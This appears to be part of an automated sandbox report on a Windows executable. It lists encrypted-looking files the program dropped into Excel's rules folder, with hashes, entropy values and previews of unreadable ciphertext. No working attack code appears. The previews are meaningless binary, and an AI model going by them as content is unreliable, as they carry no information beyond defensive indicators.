Preview:	<?xml...Ca...A.BK.....\c...T].t.!...%..I.g?1..Ay.B.9...\.h..9..}.:...7..U&..Y..4...sH....}?).........1eg....A..<...0d......_.>....N.7m%j.;.,.U......Z..:.a.R......n. 7.U.bB_.....Hz....E......E..6....qz,k.........C~w..r.A(.m.A. k....}cMA.....}.....6....p/^..4.M.........c...4J....?.\| .K....B..8.R).:<...`.,J..-....w\|.s...E......$...Cx].<.f....E...a.\.Y.....l.<.o...L..Kg{:+..u...Eh........7..Tf...H..t...i...,...H.....v..n.`9]QK..A.......I.`. .TK...f.o/..]iBF.g.d7U...........^4....6j;,...CI.Q.P...."g;D......s..W.Uo........E...Y.+}!.!`..GT.......!f..@.H:....XZ..6.....N+..]..1.lf.V.......t..gX.(...~.<.......w.p.y.H.1@.[;...04.,.N&.........)......N2...Xd........{..c.$.......!..6......Q..x.R.<.u>...t......<.d..8..k.$...q...L...=.........I.<.#.5...C....;zz...DH.b.....z.]x..u../..nk.t....*.a...x.....@.Z.43B.#h.P...O....$. .{..).rm.~~.%Jx.5@h\|..7./.e..F..Q...s{..>.S.,...T..Z.D.........&....).4....p.w.I.V...zitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdp

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68040v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	862
Entropy (8bit):	7.728643648084643
Encrypted:	false
SSDEEP:	12:91A94vbeKygdemhUY1vlcjz83pUfbIXGXhDDjSFq/TLW9SIZZbONjVcii9a:91WYBZeWUYZKES82XhXYqbiZZbGVbD
MD5:	3E6AF032A60F95B5609D6759A47C795C
SHA1:	E7FF4207713F1C14C8583B05759A091A3924EC95
SHA-256:	3730AE2A21C7DF3C039E7F11FCDCAD415CF2CD9C48679601EB8D2AC550352408
SHA-512:	AD26E20B206FD9DD5477F95E16CE68E3BC4B69452254D82034F1BCF13035BB8AF50D404FF1E9AB17600CEFF9B79A92047EE416104CB92CBF7EF479EA8AB9C7C5
Malicious:	false
Preview:	<?xml.nE".aN.z]f%./.dyu%$..U..0U...o.l....7n-..{.^"h.`@..Vd...Y.qnT..e'..\HB.;..y..e..r...H..}...fr<rg.\....Z.....t..Fm.`..6.V.........s.../............\l.....m.<......'H]or.]...b.%....]e'....m6..>..j...o.u.....`f..$H.c73"S.....~....j..D..S.V.......yS..<....2..k....PV............e/[....Wlx<...K.H....w`.6....GCz.@....\|<...:i.t..T'..oTME...(t.....=Me..~..Cb'9.WPV..E;..)>....M.....n...~W.#..A.R_..[..~..X......!....J..k7P.\.."..9Y(.~.86.]e......}....}.c..+....T\...f...Y..%_..-.d6.H.6...I.."..t:..%..!..uQ....=/..~...u..t...U....^...T.i./..c..<..db...}...#......;.E;...>.J.o...E......J.VKf.s..1.K...]....d.E...t_.......G..3...r.m\|#..Cb...A.-..z#.\.+..Jc.La+r.L>..bT./......Z.R*......B..-.Z....w.`..Wk/.a.....Y.R...E..<.x".....z.5itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule69600v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1376
Entropy (8bit):	7.844374524078949
Encrypted:	false
SSDEEP:	24:WXeD0qF6wMFnxuhfVLiNI6N7dA+wNwg9Ny/ic48nTjXKnnCiVbD:IeDt6wMFnxIfViLw9fHcxmnnCiFD
MD5:	CC34AE2BB0E30CF7DF11738D87359B67
SHA1:	EE2D1527E4AA8661D06D04AB2496B10DF21D27C4
SHA-256:	2A3D75F98DD18905EE54D28D6BF083ECA53A341E3DE02BC33123F44C6F08F43E
SHA-512:	D2C6409AA4A46568136485695F34DCE73F16CF27FF3149B47816AAB866A8950F3E03202544B28BFCA956A08AECE5E319DE8141812959AFC5E3A4A828DCEF7E57
Malicious:	false
Preview:	<?xmlZDZ..D....{....$..k.. .J....."....).<.T.......n..\......!.j\|.7\|..)..3.S9..x#....... ...@h...\.q...Nq...h..i.g.A...RG....f..%A.}...7S.......7.>....~.....M.1..._.&..0.5.a.....<....g.}.z<...oC.......2.D....B..z._..WQ..*...D.2.r.a.i......25....p....F.Y...G.a..=g...Z..{(.n.....`...Cr.....\|X.i_...... !.3....0....e....u.P......)I0.,G...[c..U..c.=.....V..Qn...b..~.y.Qr"..,...Z. %O..&..fo......R..+.....`.!.z.....j..1O..`.u.\...X-......$.~..L.DwU..F.G........@.....F?.S8C.7..Wn.w.~.k..-!..!...N.0H.6.7.....Z~cL.......<J....~..e....q...W.9.1A......A.K..g...{.4..E.!....w.c.....-.0.)e...h.....p..M.-I..@.%B.!.....Y.f.h\.~%.....8.........F.7@Y.....r.&......8.....U..~.;.....M}.....V.e....O..IM...@.%...Q@F.(..."_...Z..f......?.v6tU.......$)i..7...N)...3....7q.....]D..aj.. %_..3.(b.dG....!..1.....d..v..8..p..Dx.'....7.x.v_Pd\`......W...Q.A.#...r....S........y.........'..\|...3J..#RfJ.....>T.J.N.....U.i9.. Uo..W`....H.x.~..R../.....C.n....P:...Qp.'.\|4

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700000v2.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	2037
Entropy (8bit):	7.892897280239488
Encrypted:	false
SSDEEP:	48:fUomkAsulA0MzgbSU5tOkN9bmiPL2QjEGFD:Tfp0MzYSUT2iPbjEG9
MD5:	C82E48C431B0133B7C5E9240B72EB8FC
SHA1:	68078DFA8CDC16A0E6328AEFCF8E55345DB236D0
SHA-256:	1B1E7EA3A7379C27A3F66A38180597ECD3B17BADD0A20FB6969BB6C90B6BA484
SHA-512:	117E5A6155AE504B5ADF9C504FCEBDCBEACF6EF537FFB31D648E53CB98A77D3E0F10F3E5AC323494612A40A19C3AE5BA99ADB483B43CECED4A7178E83F5C3FF5
Malicious:	false
Preview:	<?xmlH..w..t........QL..#.Hz=.e..s..e.]...x./....'.C.'q:.m........o...Bb...7p>.........+....N..!..Tv4.<v.A.U.o+V..^...T.(.Mh..7.......u.z.Y.C.'..J3..2P...M.k...uR...,'.k..(...N.....4Y.&....-...W....43=.......W..LT..9Z.......4.(.)M.....8^.'.L..2.ca@./'08_....S.R.[t...V.g.e.6+tQ.h....>7...Kc.d.....a.._..vw......_h.'.....+..2y.....w....1=N....s#................#KPS...4B)..$#....@...\|.qD,k6...K....h......8...].9..4.,...%..J..9.H=I.=..~.m..?.{.....R..M..(.3,35-.G`.TC.;..J.h> ..3&N..bCNb/.U.U.Y.....C\|E~Q.....^y5p.SO...,...RO..g.y.%..r....T..1....4c.v.y.%....._.@]Bls.!..4....".n$D.W.6c..F...;.1....k....\+......8.". ....g.?=..L.d.`...jl%..-j%(,........Y.4....Wo.{..7......;R...B..D...*.......a.iG%_.6...@...;x}...h..\..:.E...<.."u..,.......4...u.5...<.jC.......>..o...^XF!W])Wp...l......<..>...8.......G2.0gF.....\)"Z'....L3.......x"ba...<+p....C.N.j.P..o-...e.D.H..g.u.4{...[J"lJ`...].G.-..k...=..h?4T..E.i.^....A.W..,Yz....<e%...."X...@%..Db...."

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700001v2.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	2074
Entropy (8bit):	7.883234876956502
Encrypted:	false
SSDEEP:	48:Pq5vaiu7VYLK8+5PcNSzI0+4XOTYPcSNGtuT6SBDkn3duEWFD:Pq5Y6LK8slzImOTYk12gNe9
MD5:	F94305D9AD5B8612EDD1A69FD67D8F7B
SHA1:	8FD580AF7FB6E45DC124E0A7166E5228CC73FDEC
SHA-256:	763BB7D0B4F8EFCC6B463AC3CEE3C6A94D6A646BAB287EA6CC75F07593A42123
SHA-512:	43776D2F15CB73FFFE5B6FFCC0BD216578A81E4FB7DCA3A35E2962840F8BE2E330B73C9FF56ADD1523EAE5BEEC284C2C017555B215170D9764DA292DC2DA79A6
Malicious:	false
Preview:	<?xml...3v(-b..{~ ....'..P)[..e0...... ...3T..T.(..........CX.o...j..". u.\|I...(.5ZT>v..(P......'..H..~.._].\.m...h........_..<.@..).Fm..t.hV..><..tG;.P..!...J5....5.\|...m..Z..[k..ag....]..........~.^..>...$.~.t..s.'.#...x.Y=.#.v..@!.D...;L@W...........{M."...`2/^'VbFl...J.+S.[.n.Q...:..?9a.....b..W....u..........Sh.....\..8..........u.........a.f,ki..o..;1GQNa.!..................i....m...Z...W> &@W....$h.....CG.T.8...` ..[..b.6."..d..` ...\o....:].N2.=.Y>..3......Z..sCy...X..}}.@.[.O.1aP+.\|+D....l......d.K.d...!.vN.49..mE.r[...]Jj.......1......@....k.B)#.....Q..bM.`....O.....s...9!f`.i0..Oa..".G)...%x.g.m.u....!C..>f0..@.V....-.._GqvB...P...e....m.R.ow....~M...CN.....2.....y..a....d..4.._..6V.Q..#uJF..5.>..nz...jO....N.A...~...p..,4....g.N?Q..XJ.._...1._..8Y.\... ..:...?./....k4=..=r.4A:.o..uQCg...-p.lk..L.g$B.."P_[.Lk...D...Gs5/#.g.?...E:.IUN..9...Ac....'.$2...r.u.!....L.1..73.PgZ2.J........dB..9<.~%.T...>.QC.I'G.(U..VT...eF.......(e.R.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70002v3.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	7.768743196380863
Encrypted:	false
SSDEEP:	24:lZACSIqqGbctM4UkAuFpiuQVPaD88xm9ZVbD:3ACnlLUkJhYahxm9ZFD
MD5:	BF81A6671515D885DE6D42E66D680ED1
SHA1:	DA249101E8818B4C1C7FBB414DCDA9F43B9425A6
SHA-256:	E4694871890F7868F23B173FF18052332A26AD6361DF2833E7680434C5325E16
SHA-512:	C4B6AAEBC2E81AEA1FCCDC6A0F86C7F5F8BF2A1C81531480523F3F52D38FE2AC6F03F5491F9DC47EF9333E8D995A1E3F6E3A3CC51C2F5812B21B6CFC90218C0C
Malicious:	false
Preview:	<?xml.x..'H.~..=72..y..8.t=S....C).v^..2=dd.x.!NorI....a.&...."1..Y.Q..".U......:f.+@.U.$`.....}..w.A..`..\|%.>....dy1.:.<...#h.&E...wP....!.p."..........I.H..V.i.r.....%.tSQ..iN.cha...d.8..pX.."...D]{.3uB..d.BO.....?...i.22...V.......Qf.2.f...6.n..q.X.uB."]9..........@4.uF..{5..7..W..I..E..A.........b.7\|.R..c.do.V..3zq!.)..c..!.Fp....<".(.M..(.+....eXg[N...5.x.o!.....V.3q.#tU...........5.6.f../...S..,4.<...%\.@.Y..{..f.......+.>p.%.Dz.?q.^%........m..#<K.4B~..w.;...^.....`j........I..G...].......[...:..c.!.....hW.]sT,;*@..'4I\vP.5(..o.G............~l?. D..Y..Z.vz]7....._..F\. ..l..._...w9y.^.......{d.`....m._q'.7.A..G....$.p.8..6".].....7..8..#....J.B[........KH..V.r".......:9T...By..w..(5J].P...pk..bvgch..K.>.(..bu)O..............._f..;.C..l.4..B..IE..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70003v3.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	726
Entropy (8bit):	7.736009020600192
Encrypted:	false
SSDEEP:	12:nvXlKvL0WErweFv/Uhdlx1bLpb7wI9oD/TNzh04PvpCFOnAlil4uzNjVcii9a:vVKvfVY8vr1bJ7kD/JW+pOOAFuJVbD
MD5:	90A89169B477E69B724FBD511E6676F5
SHA1:	809189FECDFBB6AFA3DDE429250AA457A93C082A
SHA-256:	711705C93116B60B49EBED93524464CE576CFF315B0569F05759D95047F8324F
SHA-512:	21DA1CD5D2F219CC4781C4A9F3466F934CC1960357E2B9CD03F3F75710BAA679AD5A683CDF678E5E3361431255DEAA53576F6DBA70E3F56985D22288D52C2823
Malicious:	false
Preview:	<?xml...B......7.aTlY`....]$c..y.O...^....S.A.Y....}&..c...C.X......-.._'JX.t."?Z/............+.#c..U..x.<O.......9y.[......I$..,lcr.T.;.v...k..G..}....\|-.$RW.9..Ww...S..v.....tp..0...V...s............{..a......m....'...S.)k..T.SI....N.3.J.}.....lZ\|.ak...Y..X.Z...5W....'..&.i.m.q...f..K.>.+.W.p._...n..d2T..............rF...2.[#.......Y[.e.}e....V.P..k?.\..v..(.Gi..Tz:.....Dg.Lv..x.S....6X....gQ0.:*..\|.....O3....O..#..r..F;.....&B..$...P.. .I..n..>{E.Z.v%!.U.D..Nwm(4.[....Nx.c....C...b.&ijd_..[g.R..4z.".........&I.\|:..\..'..W.....zd.MX...Y."U...\|.n"...}L.<r.......f/1......R..U.L..u2....F.#..f..Gu>...^]itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700050v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1685
Entropy (8bit):	7.877902369834379
Encrypted:	false
SSDEEP:	48:RYKh8RexdLKuqeLrEAUJ2OcS/4FFbG/0FD:RvywdLKj842S/MF609
MD5:	B103090E99805F65599864861D8A0BE2
SHA1:	788B61D76AC4EBED570C0204C67CC7626046794A
SHA-256:	0863D3399D697D07F5E685528CC9B879EAA8D63043C0AC7CF5E563167D25BBBB
SHA-512:	5CC46239D0B49B19285BBDFFEBA97F873C4F1B8DC4A977D78E11266BE99A61BB022263A05E8A06B4DD9F041BEE363A60C63BBB4AEB27F830274539722C7E4E37
Malicious:	false
Preview:	<?xml.`}.R..:...A%k..rh..Fu......=.3..8.%.o..........P._RI.E`.!x.;.}..........w.[......l.3,Hc..qV.#$..i~.....L..+....D........z...j&\...0.......=.....w.X.0x......B>u.h.k.....<..t..p.\|.T.......8.d..P9...o..i..U.-.w...OQ.;r..3...3^a..B.....S.KN.....3..w."4jn3....g.x.z.....".}.3.h..U}#B...e..'.x.e3...tX.m......~[.nM..V..j...8..)..<..j=.O..p....5.r...$z...-=..7.+.}!v..s...>.._.H{u..E.....(..2..Z...j..(..M1....q\>...o.....$.9G..P..Q...c.cN)..l[..?dd.$OQ.k.C..&.......c..jZ..0B.._}..W..h..u.....+......%7.fL.ut...a.....~(z.3.y.R......{/...[_....1...."\|..G..2B.-.~I. ......)%..1..Yd)..:...l../\..<D.....\|...s...t..q.....AM..?`x..@D..b.Za..;.za!...N..'..iy...z.....t............6.h..b.Z..s..o.O,.9/..n4.'^84&P.Ita..5n...\x..p....Cg*u8x. ...h~kr..._.......<3."y)...;o..n..8.....L..d.5c..0y....".w..h.....<.`.y^N+...P.....q.RKB'o.......=.sL...T..4[:...M..eB....\|...^P.....K.g..A.p....r.k_...I{=....\...G.P.8......./.+.8..J......&f.l9dA.<..w.;

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700051v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1722
Entropy (8bit):	7.883589057115906
Encrypted:	false
SSDEEP:	48:P/wyrSQXLy8qre6IeNUtQwQ8DmVOHk4zQfoFD:Pn/Xu8qVPitQwGAHk4Ug9
MD5:	929F22EEDF32F71B808FC966AE54065F
SHA1:	951E217E1DD74621C5CF3CE2E4071723685AE44C
SHA-256:	503E919B615FE90F006FDE25B95B1DC64E19088EE21829E9A7A4F290694C3FA6
SHA-512:	736C75567952969562225D1E736E01FA2922CB59AEAAF388D9E5DD596E0B6B4112BE720F01B6EB3FEF6F79D2A4CB052E6BCAA764D502625FDD6DD277FC3C9F53
Malicious:	false
Preview:	<?xml........[6...,d>....;}.]...@SQ......q...vs.......J.'0..%..W..0.7..@'..C...w!u:.H..R.....\|\|...B.....t.L].~].\.F..B`.....K.).o.....VJ..~'..O].1...<m.iB.....w....."5...E.....)`...T}.........Y........<.....].f!...'....g.2....U$..^.....B22. ..2.>......!"......t...g}y. ..o...2.M..E...O..\|.X..C....F.[g....z.>....N.=..w....O.y<.s,R.<..zV.V.....\|.%i.....k..A..A.h.....H=M....\w.m.h1.[..O...qA..\|.&..S..N..n.i.z....s..w....."?...Q.7./....z/......Vsu !<.4....c....9.C...7m.J.i7.\|.I..r.b._q`X...L...5H..z3@]..=.iR...d...4...:...1c.`.A;..\.....y..\|.v.....#.N...h.#%.$m... ..^..I...........J.@.cM.{........#..o$.l...3..To.s_....O\.A.$..`7.#..&o.W.....d...4..HkF$.........<v.....$~.O[..I.@..B.Ba...x..<.@...".K...tX....@JQ.7C..!.N.gS.k$,;pr.\|.6....}5...,G.%i.k.....A.}za9...X..`....$I..'&)'.OZ.4.0.P.......".\|.';.....%..1.y....+.."._EygZ..V...-..j.VW../... ..Et........c....q..v......s..L$.jghX.S;f..)..>...%.8..g..c7;........A.V=8..6..p....R.K...y.k

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70006v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	764
Entropy (8bit):	7.763479454715409
Encrypted:	false
SSDEEP:	12:lF6FKHdvkmSg0If5i6suXiL5dOvcSHpWomFK/X/PKudQjLVafH1g5QlMir15jVcq:1HYIf5XsCihSJvSjLiVZhBVbD
MD5:	ED949A1864DF5B94030FB4117B82F7DF
SHA1:	B2FB449D392E3655600D9047903B007B7178AC91
SHA-256:	50DFB317DF7BA68DD8D895F31A83C939D9C281B41C0DE8366960BBD0924AD9C9
SHA-512:	CC57D41915E33FB6F4ECF31C3B46E656DB08B4E0D95A4C11EE41870CAF2B593A1244682B0DF3500C15CF3094E6DA5630CB7AEDBE38251501ADF5F004BB098A49
Malicious:	false
Preview:	<?xml4.....#.e#..z...L>w..u..#1..u..%....pF....c.C..cJ.Z.G...\.'.&}.'..0........S+....8t.eR...1...:.../....1.M.hzzQ......./.n..L...g......0J;.2.....Kk_.\2..9g.?...45.I(g.,]..Y>.^?Q.1`..>.Q..o.e9...A.....I...W^G.)..~...s}..H..IG7...._'.!R9S.[.d+.!.5...}>.?.........6}..y..........$.;....=.-..vM....6...tV.,#.:..N. ..8)..52V....K"..g..8...p..Vz5K",.....l...rR.-.X...s%J...1.G....M..T8....Z$w.......qI.6t@...3.r....1.+...n.0.s.....(T..}.i.]>4...\.;.U..K....cwrcX.T.`..~Hpi.e..j.P.....Y^d^q.'G.e.>.(....#\|.R.=..&]$x.../..4.\..RPm.e....s.h.........h..Ev............nR....H...R..^Y.dk.l..:..2...g...]Kx6..M.....i.....7......,.*3.g..4.....e.%C......itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700100v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1691
Entropy (8bit):	7.871032853069992
Encrypted:	false
SSDEEP:	48:tOWnClcGu1yf10C99SZ/Q8KHIQLRPDiFD:Z/a10C9I5aVbi9
MD5:	9A85A73405BB127CE9BB4292D29565C2
SHA1:	F78528DAEFE7EE37A42127872A4D45F4389AAC63
SHA-256:	5F04FAD4D4ACDE75EE5F5FBFCD51B5ECE9DB58B7FFCBBC49D4B16D37EB18AC1E
SHA-512:	91B9D5B122E8E8AC9DA54DF62C6E75A41091FD86EBA2CCDA7C1C706238A64F0BA731DBEC503C11F9E50CD34CB2C9FD8B3DC554B032B87C6562D8C66FE2F2964D
Malicious:	false
Preview:	<?xml'......v.!.;..w...r.4p.z~#\..m.G6.<S...<p.h!B...3.o.y...f....'..)o2Yr..p.).<..l...'.......DA....Py.r.\|...2@H..;...;5%Qsh..'..\@\|1U`..B.7kP..wS..W....yFz...T8..4.A.K...N.d^<.k....p..&.F...A.. '....d....@#...f.....[..&.[P.}...< .a..).J.).M...$.Y}c......$7..T.w8I.)]........e@: .6..oC...X.H.i.z..j..We.y.........RD3.q.x..kPkI..._,>..+.K?.....T..X..s.z,.V$..T.3>....i...#~)..j.x1.,.I%5.bs...XE=.X...=newiJk>..%......O..9?..%..'.MG..>...$uv+[..$...y.j....r..7y3.....{.%..q/.l.....2..vz.M...gs.`.q...q...Y..E..z.#...$.t..o.=.2.+6Pg....N......6=.n..&)...l.."=.N...uj.%w...J..].N..."^.YHD.>O..R!.o.#_..c...t.Sj.b......X.+.v`%.\|a&\|[..N..~kX..7..;..X.............s.w...ED.6..UD.....a...{.......g...t.U.(V.Lb.;\..f....KIPI...@',.7h.l.Ue^..1.l.@8...-)..QB..Z.Yb....?.:IN;.Y.G...dt...r..e.=...8...(Y.x.s...Z.D..1..............qd..1.X>.%.@.v.C.%d...~czQW...\|.f...w.L.*o.-....+....\.iS2...7.z..}....]....].8F.+..no.}+.Nx...z=`......sE.~.l..{...x...w(Z'....m.O...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700101v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.887846083993873
Encrypted:	false
SSDEEP:	48:aCJGabh04F0ccrQGR1t8D+71cYsuvy+0ZCfL47Sy0itOFD:aCJGab7mkGnt8D+1sgyZZCT4jl89
MD5:	60915FDF41AE52D4A38540EF8F38446D
SHA1:	5893A22EF34B1B4476F101235CAB98B30FD0FFFC
SHA-256:	6F3C0D28E191F65FEB73DA91EFF1E58569DFF334C993876706E80D0979CEB037
SHA-512:	B7600DE055C1C2C4BF6ED19D27B765FE160853895A6760265435B5C2B2C645E3EE26D8FAD7F2140A2D919B9ED5C38A9B1D09A43CE1FC990CA8F67A9F65853035
Malicious:	false
Preview:	<?xml....`.....>..V.._5...bU....._.v"].....~...x._....`W. ..?..E..s.r.\....q}.Y/.?,&.dnYr..n..{..f.E....Z4.6.w.........(a.Q....B.-.\.. ......l'{s.Z...v...:....A.. .I.QF.._..BEe.X.#.c.....?......!.yP.......5Q.ZE..!j.Z...y.....x.4..3.>."..[.j.S\...\..i.n....~.2z.F.>.h3.l../...T..^..v....9.{.......!....;..9.p.&.....*$Qh.....?j...../.......TWM/...i!.bd...._.Q...../.&.].Y.6.....]....Hz.....j..iI..z.L.E>a..HC.i%]..."d.[.M1S..=.n....eH...t.vkT.5...........%....wWLt..4.9....PR...!..%.....V..f.r....G...3n$Eq.P:.....A.n5.Dlg.H.o..Y..W...&.@c.g......Fc....)!&.\|mk"s..DI`.%..r2.K.L.......0D.. ...m$..zdDG......y...j. f....2...sSw..).uIX.{....'..Z...f.B.....@....y.@)....O.....wX`.'.Y..p......,i..M...^cX\.{...g.Zo.nR).E9...+.t....]M.L...%F.d.{.....5...+.....%.g)W...A4\|K..k..@...p.....x^.a..P..V..C......\|.p:..4.p#..Q...$..m%=...W.q..W.fO!.J.n..v.....D.q.>....6..it}K...6}..g....Tf.~.rJ.E.m.=.....8.2.v.......L-^p..8....j......1E......._=Rj.DNq0..VNB.)k"..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700150v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.9027866901405535
Encrypted:	false
SSDEEP:	48:Q8wN1xpQekOIHHxLs3TXuIm3ohfnfWqUOEFD:QvQCQgjXlmYhfnfWqUOE9
MD5:	E4376B10C32F0B7D74F514DDB94281D1
SHA1:	E344D85B4A6569B6FF70201567EB14A8DAE5CAD5
SHA-256:	EDEFCDADF9E10FE4404AB8BBEAB69C727028D9F016703E083FE8BE468479BAB2
SHA-512:	0FCE08B28FB5112AB9602B5F992E15268B45B47F8357873EA89E2218A7EEC11688FD02A6743F9F7334D832A0B125F01E2CF8C4AEA41DE263264EA10B7BAA51CB
Malicious:	false
Preview:	<?xml.S..d..Z..v..w.....}.$.w..'....R..l.GK......pux....-......Jp....K."f.)`l. ..#3.\|..kH.....u.U.#..8W..#\..s./.RuG..K0....x....`.xi..!..*...[Q\|"..D..wZ.F......`o..6......N8s.:N.kg.....oHb..p.....=yJ............G.\G.`W.'.\....Q:.]"}....c5.E..t....c..P....y.>..SZ.[.AqK8.2.C.S.........%{....._......t,.c...[.7.....<.t.Yf.....A..!....6..R....i......r.M.....C...%..M..f..C.g.)G..{1^vQ.=/O.:...a..>..I.....v...I....,.p..i1.U?F.. .f.KW.2'..fI.#.y..6...Y..>.....6^.P.8..o,.f4.Z:.O..J.d.............J3.]..I.K@.RBW..;O.R..z..<}b....'..W....&..X.R..Jy,.6<.(/.j.zW......Oz......4L..8HY.....F..K....".O......A.g..q.f....7+..N....J...C....s......xxK...@o..f..^..S.<L!.0s.P....B..2.0.:X.E@.B).\|S.q.3\|W..Hh].....g...9.~........<+~.........@.l..^....L...b..\z....~..~N.U`ra..A...Yv...eX..N.Fg;...1....>.. .o.!..6.p.T.J-rP...>.../.[y..S..2@dM9..T:.+..+mx.yr.m\#.tb.Z.O..j..F9..~D. .G.5h..s.p.K.......U.....<..iQ...s..mI.zCD.. .0.....R.7.H5...........1d[..!.z.Lo...6k.>n.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700151v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.894430222696961
Encrypted:	false
SSDEEP:	48:7V2GwonhpcbGN73hKBZDYGNknwt/MOfyWckZm1FD:R2GfcGN73ABZvOnQ/j3m19
MD5:	519CDA07B9EEA41ED60404D29A63D977
SHA1:	4749237655621A1FD8AEE5C739059B3F8CE851C8
SHA-256:	889F9A52DD98447FF9A0F7DFE4E9B8831F1718827BE91475AB4F8DC5C3C3F395
SHA-512:	5B2C5BD4FD75B1ED0702FEE059727E701EE0E6365B677C3352BA441A35C3DC69650825B1A186AB358EFEACEB6938081A7722630C09F301E416532D0C06012E2F
Malicious:	false
Preview:	<?xmlJ......rJ....Ar.p.2.. S....-9.... ..ls..!.K.bB[HW..)........=..(!".?'@>MWn.L...u..w...N._...#.K.P.....F^.A...\...f...._.a.Lq..'.j..t.V&.c#..78..:.Cd.\<..Xr.X.X._.^.2z&5.#..nQ.2.p......v<......9.]..q.....X...&qN....x......N.......).St.*.`l...M..T."...>[G..i..!7n.&..F..._....H<h.q.Z...]B#...m9...A.M.%...TR..{.Ql3.+....g.....}..=.....e..A...m.....q.^9.$.I<.S...+)....<.\| wJ..........>r...'\po..D..s..B\|..v...wT....`..Kk....-..............6...R?..z .=.+..:...x.zX\|K..S...o...tH.s...f.`h..o)..-..j.@.w+6.....!.L..q...(2..M..A.,8: .NE..9j..../.^.k.ap.....dd.....{.q[......../k...K.c...o .(<,L^.74......V....u..v.8.^W}.....kq....Y..%.{.:......F..iw..e...!.q.........u....'p.....<.....8.........2b}c....._...V...9'k...eo..k......[.......W5RV.?.Rc.X.U.b..._".i.s.?...U38'V...@oG.......O.9xj.....#.q........L"..~w..a.=.1.....J......B.u.........]97....+~.0.^.......N..1.%g..x..^.......:3W.Y.5k.kR.Sx...)...G..<4,.....W........g.........)\|.......(....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700200v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1689
Entropy (8bit):	7.8906563499932805
Encrypted:	false
SSDEEP:	48:XoIGCu7WPBTlJglTmA/m7aqlcBkjovzZa/+DxktK1zFD:4xCuqJTlJY7/m7aqGBgCz0/+D+89
MD5:	74D48CD696CB30B84EB9BB71A99410DA
SHA1:	91FD7FAB5BA2F34588FF246B300901DEDCA52203
SHA-256:	20D531D695E85DB29F870AC8CF96B7A615CAC1B39178EA7516B98C576CBB48BA
SHA-512:	2DDF41676F43643420EB8EE140C40F3B85FFCD49C322DD891AFA635FE2A99CF80D9E7480FD7D394DE55DB81D75BD919277749E4BAC4E429077074AA66902CC97
Malicious:	false
Preview:	<?xml.W..._..x.......b$..D.6..Aw....q...e....O....z.N+,.~..4..YR...\|.....gl. ...o.c....>..uy1.L)K/.....]}..b..<?}O......0..f...x..,.)..Q<i..[...x...~97.....Bv#.K(d....F.f.Q$.1:.j.q.SR.u.!.g.tQ........8.UG..]..B!........c. ..o...R.Z.n...c.z...Z.I.d...:......$.#.....;.'.............J.I....8....Q...S..xT.W.........._~..?\|/PN..G. ...F.s.RO.....$.C.e)d7..$...4ek.....`f.}Q.\.[.G.3..;..+B.).3t].h...'.D...`w..\|.....x.../..'//...MO>.k...L...#.......Pn...#..pA.Z.e...........'...T........:.<......\....9.r$... hy..1.fNvV6-7zB8}..7..7.4......9.5..-....Ik..i..w.3......i..u.W^L.h.:%.A.2jc...<.mi.'.. 